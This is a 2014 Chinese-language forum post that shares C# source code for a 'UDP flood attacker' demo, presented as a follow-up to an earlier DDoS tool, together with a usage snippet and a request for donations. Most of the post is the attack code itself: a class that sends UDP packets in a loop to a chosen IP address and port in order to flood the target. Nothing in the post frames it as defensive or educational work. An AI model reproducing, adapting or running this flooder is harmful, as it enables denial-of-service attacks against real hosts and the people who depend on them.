Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.

Join the forum, it's quick and easy

Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.
Evo. G Tech Team Forum
Would you like to react to this message? Create an account in a few clicks or log in to continue.

继续发放一个C#的UDP洪水攻击器demo的源代码

Go down

继续发放一个C#的UDP洪水攻击器demo的源代码 Empty 继续发放一个C#的UDP洪水攻击器demo的源代码

Post by cyjian December 13th 2014, 09:57

继续发放一个C#的UDP洪水攻击器demo的源代码(跟刚才那个CC/DDOS攻击器一样,使用socket基类编程,不可多得,大家有钱的捧个钱场,没钱的捧个人场

  1. using System.ComponentModel;
  2. using System.Net.Sockets;
     
  3. namespace DepthCharge
  4. {
  5.     class UdpTest
  6.     {
  7.         bool run = false;
  8.         BackgroundWorker worker;
  9.         int count;
  10.         string ip;
  11.         int port;
  12.         string content;
  13.         public UdpTest(int count, string ip,int port, string content)
  14.         {
  15.            this.count=count;
  16.            this.ip = ip;
  17.            this.port = port;
  18.            this.content = content;
  19.         }
     
     
  20.         public void start()
  21.         {
  22.             worker = new BackgroundWorker();
  23.             worker.DoWork += new DoWorkEventHandler(doWork);
  24.             worker.RunWorkerAsync();
  25.             worker.WorkerSupportsCancellation = true;
  26.         }
  27.         public void stop()
  28.         {
  29.             run = false;
  30.             worker.CancelAsync();
  31.         }
  32.         private void doWork(object sender, DoWorkEventArgs e)
  33.         {
  34.             run = true;
  35.             var RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ip), port);
  36.             byte[] buf = System.Text.Encoding.ASCII.GetBytes(content);
  37.             for (int i = count; i > 0 && run; --i)
  38.             {
  39.                 Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) { Blocking = false };
  40.                 socket.SendTo(buf, SocketFlags.None, RHost);
  41.             }
  42.         }
     
  43.         public bool Running { get{return run;} set{run=value;} }
  44.     }
  45. }

使用方法:
udptest = new UdpTest(int.Parse(udpcount.Text), this.udpip.Text, int.Parse(this.udpport.Text), this.udpcontent.Text);
udptest .start();

cyjian
Spammer
Spammer

Posts : 211
Points : 72655
Reputation : 0
Join date : 2014-06-18

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum